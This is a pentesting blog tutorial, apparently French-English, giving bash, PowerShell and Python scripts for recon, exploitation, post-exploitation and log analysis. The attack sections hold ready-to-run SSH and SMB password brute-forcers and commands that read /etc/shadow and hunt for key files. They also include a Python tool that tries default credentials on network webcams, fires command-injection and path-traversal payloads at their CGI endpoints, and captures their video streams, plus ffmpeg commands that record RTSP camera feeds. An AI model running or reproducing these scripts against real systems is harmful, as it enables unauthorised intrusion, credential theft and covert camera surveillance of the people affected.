0%
Shell Commands and Scripts for Pentesting: Practical Guide

Shell Commands and Scripts for Pentesting: Practical Guide

Complete guide to essential shell commands and scripts for pentesting. Tools, techniques, and best practices for security analysis.

I

InSkillCoach

· min

Shell Commands and Scripts for Pentesting

Discover essential shell commands and scripts for pentesting and security analysis.

1. Reconnaissance Commands

Nmap

# Port scan
nmap -sS -sV -p- 192.168.1.1

# Quick scan
nmap -F 192.168.1.1

# Scan with OS detection
nmap -O 192.168.1.1

# Scan with NSE scripts
nmap -sC -sV 192.168.1.1

DNS

# DNS lookup
dig @8.8.8.8 example.com

# Zone transfer
dig axfr @ns1.example.com example.com

# DNS enumeration
dnsenum example.com

2. Analysis Commands

Wireshark/Tcpdump

# Packet capture
tcpdump -i eth0 -w capture.pcap

# Filter by port
tcpdump port 80 or port 443

# HTTP analysis
tcpdump -i eth0 -A 'tcp port 80'

File Analysis

# Strings analysis
strings fichier.bin

# Hexadecimal analysis
hexdump -C fichier.bin

# Header analysis
file fichier.bin

3. Exploitation Scripts

Bash Script

#!/bin/bash

# Fast port scanner
for port in {20..25} {80..85} {443..445}; do
    (echo >/dev/tcp/$1/$port) &>/dev/null && echo "Port $port ouvert"
done

# SSH bruteforce
for pass in $(cat wordlist.txt); do
    sshpass -p "$pass" ssh -o StrictHostKeyChecking=no user@$1
done

# Vulnerability scanner
for ip in $(seq 1 254); do
    nmap -sS -sV 192.168.1.$ip &
done

PowerShell Script

# Port scanner
1..1024 | ForEach-Object {
    $port = $_
    $client = New-Object System.Net.Sockets.TcpClient
    try {
        $client.Connect("192.168.1.1", $port)
        Write-Host "Port $port ouvert"
    } catch {}
    $client.Close()
}

# SMB bruteforce
$wordlist = Get-Content wordlist.txt
foreach ($pass in $wordlist) {
    $cred = New-Object System.Management.Automation.PSCredential("admin", (ConvertTo-SecureString $pass -AsPlainText -Force))
    try {
        New-PSDrive -Name "SMB" -PSProvider FileSystem -Root "\\192.168.1.1\share" -Credential $cred
        Write-Host "Mot de passe trouvé: $pass"
        break
    } catch {}
}

4. Post-Exploitation Scripts

Bash Script

#!/bin/bash

# System information gathering
echo "=== Informations Système ==="
uname -a
cat /etc/issue
cat /etc/passwd
cat /etc/shadow

# Sensitive file search
find / -type f -name "*.conf" -o -name "*.key" -o -name "*.pem" 2>/dev/null

# Process enumeration
ps aux | grep root

PowerShell Script

# Windows information gathering
Get-WmiObject Win32_OperatingSystem | Select-Object *
Get-WmiObject Win32_UserAccount | Select-Object Name, SID
Get-WmiObject Win32_Service | Where-Object {$_.StartMode -eq "Auto"}

# Sensitive file search
Get-ChildItem -Path C:\ -Recurse -Include *.conf,*.key,*.pem -ErrorAction SilentlyContinue

5. Reporting Scripts

Bash Script

#!/bin/bash

# Report generation
echo "=== Rapport de Pentest ===" > rapport.txt
echo "Date: $(date)" >> rapport.txt
echo "Cible: $1" >> rapport.txt
echo "" >> rapport.txt

# Nmap scan
echo "=== Scan Nmap ===" >> rapport.txt
nmap -sS -sV $1 >> rapport.txt
echo "" >> rapport.txt

# Vulnerabilities found
echo "=== Vulnérabilités ===" >> rapport.txt
grep -r "vulnerability" /var/log/ >> rapport.txt

PowerShell Script

# HTML report generation
$html = @"
<html>
<head>
    <title>Rapport de Pentest</title>
    <style>
        body { font-family: Arial; }
        .vulnerability { color: red; }
        .info { color: blue; }
    </style>
</head>
<body>
    <h1>Rapport de Pentest</h1>
    <p>Date: $(Get-Date)</p>
    <p>Cible: $target</p>
"@

# Adding results
$html += "<h2>Vulnérabilités</h2>"
$vulns = Get-Content vulns.txt
foreach ($vuln in $vulns) {
    $html += "<p class='vulnerability'>$vuln</p>"
}

$html | Out-File rapport.html

Best Practices

  1. Security

    • Validate user inputs
    • Handle errors
    • Limit privileges
    • Documenter les scripts
  2. Performance

    • Optimiser les boucles
    • Use parallelism
    • Manage memory
    • Limiter les ressources
  3. Maintenance

    • Commenter le code
    • Versionner les scripts
    • Test regularly
    • Update dependencies
  4. Documentation

    • Describe usage
    • List prerequisites
    • Document parameters
    • Fournir des exemples

Conclusion

Shell commands and scripts are essential pentesting tools, but they must be used ethically and responsibly.

Additional Resources

6. Advanced Scripts

Bash Script for Active Directory Enumeration

#!/bin/bash

# AD enumeration with ldapsearch
ldapsearch -x -H ldap://192.168.1.1 -D "CN=Administrator,CN=Users,DC=domain,DC=com" -w password -b "DC=domain,DC=com" "(objectClass=user)"

# Group enumeration
ldapsearch -x -H ldap://192.168.1.1 -D "CN=Administrator,CN=Users,DC=domain,DC=com" -w password -b "DC=domain,DC=com" "(objectClass=group)"

# Computer enumeration
ldapsearch -x -H ldap://192.168.1.1 -D "CN=Administrator,CN=Users,DC=domain,DC=com" -w password -b "DC=domain,DC=com" "(objectClass=computer)"

PowerShell Script for Active Directory Enumeration

# User enumeration
Get-ADUser -Filter * -Properties * | Select-Object SamAccountName, Enabled, LastLogonDate

# Group enumeration
Get-ADGroup -Filter * | Select-Object Name, GroupCategory

# Computer enumeration
Get-ADComputer -Filter * -Properties * | Select-Object Name, OperatingSystem, LastLogonDate

# GPO enumeration
Get-GPO -All | Select-Object DisplayName, GPOStatus

Bash Script for Malware Analysis

#!/bin/bash

# Static analysis
echo "=== Analyse Statique ==="
strings $1
file $1
hexdump -C $1 | head -n 20

# Dependency analysis
echo "=== Dépendances ==="
ldd $1
readelf -d $1

# Section analysis
echo "=== Sections ==="
readelf -S $1
objdump -h $1

# Malicious pattern search
echo "=== Patterns Malveillants ==="
grep -r "CreateRemoteThread" $1
grep -r "VirtualAlloc" $1
grep -r "WriteProcessMemory" $1

PowerShell Script for Windows Malware Analysis

# Suspicious process analysis
Get-Process | Where-Object {$_.CPU -gt 80} | Select-Object ProcessName, Id, CPU

# Network connection analysis
netstat -ano | Select-String "ESTABLISHED"

# Recently modified file analysis
Get-ChildItem -Path C:\ -Recurse -File | Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-24)} | Select-Object FullName, LastWriteTime

# Service analysis
Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, DisplayName, Status

Bash Script for Log Analysis

#!/bin/bash

# Authentication log analysis
echo "=== Tentatives de connexion échouées ==="
grep "Failed password" /var/log/auth.log | tail -n 20

# Bruteforce attempt analysis
echo "=== Tentatives de bruteforce ==="
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr

# SSH connection analysis
echo "=== Connexions SSH ==="
grep "sshd" /var/log/auth.log | grep "Accepted" | tail -n 20

# Privilege attempt analysis
echo "=== Tentatives de privilèges ==="
grep "sudo" /var/log/auth.log | tail -n 20

PowerShell Script for Windows Log Analysis

# Security event analysis
Get-EventLog -LogName Security -EntryType FailureAudit | Select-Object TimeGenerated, EventID, Message

# Login attempt analysis
Get-EventLog -LogName Security -EntryType FailureAudit | Where-Object {$_.EventID -eq 4625} | Select-Object TimeGenerated, Message

# Privilege change analysis
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4672} | Select-Object TimeGenerated, Message

# System file change analysis
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4663} | Select-Object TimeGenerated, Message

Bash Script for Network Analysis

#!/bin/bash

# Network traffic analysis
echo "=== Trafic réseau par protocole ==="
tcpdump -i eth0 -n | awk '{print $3}' | sort | uniq -c | sort -nr

# Active connection analysis
echo "=== Connexions actives ==="
netstat -ant | awk '{print $6}' | sort | uniq -c | sort -nr

# Open port analysis
echo "=== Ports ouverts ==="
netstat -tuln | awk '{print $4}' | cut -d: -f2 | sort | uniq

# DNS analysis
echo "=== Requêtes DNS ==="
tcpdump -i eth0 -n udp port 53 | awk '{print $3}' | sort | uniq -c | sort -nr

PowerShell Script for Windows Network Analysis

# Network connection analysis
Get-NetTCPConnection | Where-Object State -eq "Established" | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort

# SMB session analysis
Get-SmbSession | Select-Object ClientComputerName, ClientUserName, Dialect

# Network share analysis
Get-SmbShare | Select-Object Name, Path, Description

# RDP connection analysis
Get-NetTCPConnection | Where-Object LocalPort -eq 3389 | Select-Object LocalAddress, RemoteAddress, State

7. Scripts for Webcam Analysis

Bash Script for Webcam Detection

#!/bin/bash

# Detect webcams on the local network
echo "=== Détection des Webcams ==="
for ip in $(seq 1 254); do
    # Test des ports courants des webcams
    for port in 80 443 554 8554 8000 8080; do
        (echo >/dev/tcp/192.168.1.$ip/$port) &>/dev/null && echo "Webcam potentielle trouvée sur 192.168.1.$ip:$port"
    done
done

# Search for RTSP services
echo "=== Services RTSP ==="
nmap -p 554,8554 --script rtsp-url-brute 192.168.1.0/24

# Test default authentications
echo "=== Test des Authentifications ==="
for ip in $(cat webcams.txt); do
    curl -s "http://$ip/cgi-bin/viewer/video.jpg" -o /dev/null && echo "Webcam accessible sans authentification: $ip"
done

Python Script for Webcam Analysis

#!/usr/bin/env python3
import requests
import cv2
import numpy as np
from concurrent.futures import ThreadPoolExecutor

class WebcamAnalyzer:
    def __init__(self):
        self.common_ports = [80, 443, 554, 8554, 8000, 8080]
        self.default_credentials = [
            ('admin', 'admin'),
            ('admin', 'password'),
            ('root', 'root'),
            ('admin', ''),
            ('', 'admin')
        ]

    def scan_network(self, subnet):
        """Scan le réseau pour trouver des webcams"""
        with ThreadPoolExecutor(max_workers=100) as executor:
            futures = []
            for ip in range(1, 255):
                for port in self.common_ports:
                    futures.append(executor.submit(self.check_webcam, f"{subnet}.{ip}", port))
            
            for future in futures:
                result = future.result()
                if result:
                    print(f"Webcam trouvée: {result}")

    def check_webcam(self, ip, port):
        """Vérifie si une webcam est accessible"""
        try:
            # Test RTSP
            if port in [554, 8554]:
                response = requests.get(f"rtsp://{ip}:{port}", timeout=1)
                if response.status_code == 200:
                    return f"{ip}:{port} (RTSP)"
            
            # Test HTTP/HTTPS
            for protocol in ['http', 'https']:
                url = f"{protocol}://{ip}:{port}"
                try:
                    response = requests.get(url, timeout=1)
                    if response.status_code == 200:
                        return f"{ip}:{port} ({protocol})"
                except:
                    continue
        except:
            pass
        return None

    def test_authentication(self, ip, port):
        """Teste les authentifications par défaut"""
        for username, password in self.default_credentials:
            try:
                response = requests.get(
                    f"http://{ip}:{port}/cgi-bin/viewer/video.jpg",
                    auth=(username, password),
                    timeout=1
                )
                if response.status_code == 200:
                    return f"Credentials valides: {username}:{password}"
            except:
                continue
        return None

    def capture_stream(self, ip, port, protocol='rtsp'):
        """Capture le flux vidéo de la webcam"""
        if protocol == 'rtsp':
            url = f"rtsp://{ip}:{port}/stream1"
        else:
            url = f"http://{ip}:{port}/video"
        
        cap = cv2.VideoCapture(url)
        if not cap.isOpened():
            return False
        
        ret, frame = cap.read()
        if ret:
            cv2.imwrite(f"webcam_{ip}.jpg", frame)
            return True
        return False

    def analyze_vulnerabilities(self, ip, port):
        """Analyse les vulnérabilités courantes"""
        vulnerabilities = []
        
        # Test des commandes shell
        cmd_injection_payloads = [
            ';ls',
            '`ls`',
            '$(ls)',
            '|ls'
        ]
        
        for payload in cmd_injection_payloads:
            try:
                response = requests.get(
                    f"http://{ip}:{port}/cgi-bin/command.cgi?cmd={payload}",
                    timeout=1
                )
                if "bin" in response.text or "etc" in response.text:
                    vulnerabilities.append(f"Command Injection possible: {payload}")
            except:
                continue
        
        # Test des traversées de répertoire
        path_traversal_payloads = [
            '../../../etc/passwd',
            '..\\..\\..\\windows\\system32\\config\\sam',
            '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
        ]
        
        for payload in path_traversal_payloads:
            try:
                response = requests.get(
                    f"http://{ip}:{port}/cgi-bin/download.cgi?file={payload}",
                    timeout=1
                )
                if "root:" in response.text or "[fonts]" in response.text:
                    vulnerabilities.append(f"Path Traversal possible: {payload}")
            except:
                continue
        
        return vulnerabilities

# Usage example
if __name__ == "__main__":
    analyzer = WebcamAnalyzer()
    
    # Scan du réseau
    print("Scanning du réseau...")
    analyzer.scan_network("192.168.1")
    
    # Test d'authentification
    print("\nTest des authentifications...")
    result = analyzer.test_authentication("192.168.1.100", 80)
    if result:
        print(result)
    
    # Capture de flux
    print("\nTentative de capture...")
    if analyzer.capture_stream("192.168.1.100", 554):
        print("Capture réussie")
    
    # Vulnerability analysis
    print("\nAnalyse des vulnérabilités...")
    vulns = analyzer.analyze_vulnerabilities("192.168.1.100", 80)
    for vuln in vulns:
        print(vuln)

PowerShell Script for Windows Webcam Analysis

# Detect connected webcams
Get-WmiObject Win32_PnPEntity | Where-Object {$_.PNPClass -eq "Camera"} | Select-Object Name, DeviceID

# Analyze webcam-related processes
Get-Process | Where-Object {$_.ProcessName -like "*camera*" -or $_.ProcessName -like "*webcam*"} | Select-Object ProcessName, Id, Path

# Analyze webcam network connections
Get-NetTCPConnection | Where-Object {$_.LocalPort -in 80,443,554,8554,8000,8080} | Select-Object LocalAddress, LocalPort, RemoteAddress, State

# Test webcam web services
$webcams = Get-Content webcams.txt
foreach ($webcam in $webcams) {
    try {
        $response = Invoke-WebRequest -Uri "http://$webcam" -TimeoutSec 1
        if ($response.StatusCode -eq 200) {
            Write-Host "Webcam accessible: $webcam"
        }
    } catch {}
}

Bash Script for Video Stream Analysis

#!/bin/bash

# RTSP stream capture
ffmpeg -i rtsp://192.168.1.100:554/stream1 -c copy -t 60 capture.mp4

# Metadata analysis
ffprobe -v quiet -print_format json -show_format -show_streams rtsp://192.168.1.100:554/stream1

# Motion detection
ffmpeg -i rtsp://192.168.1.100:554/stream1 -vf "select=gt(scene\\,0.3)" -vsync vfr frame_%d.jpg

# Image extraction
ffmpeg -i rtsp://192.168.1.100:554/stream1 -vf fps=1 image_%d.jpg
InSkillCoach

About InSkillCoach

Training and technology expert

Coach specializing in advanced technologies and AI, backed by GNeurone Inc.

Certifications:

  • AWS Certified Solutions Architect – Professional
  • Google Cloud certifications
  • Microsoft Certified: DevOps Engineer Expert
  • Certified Kubernetes Administrator (CKA)
  • CompTIA Security+
1.7k
168

Comments

Comments are powered by GitHub Discussions

Sign in with GitHub to join the discussion

Link copied!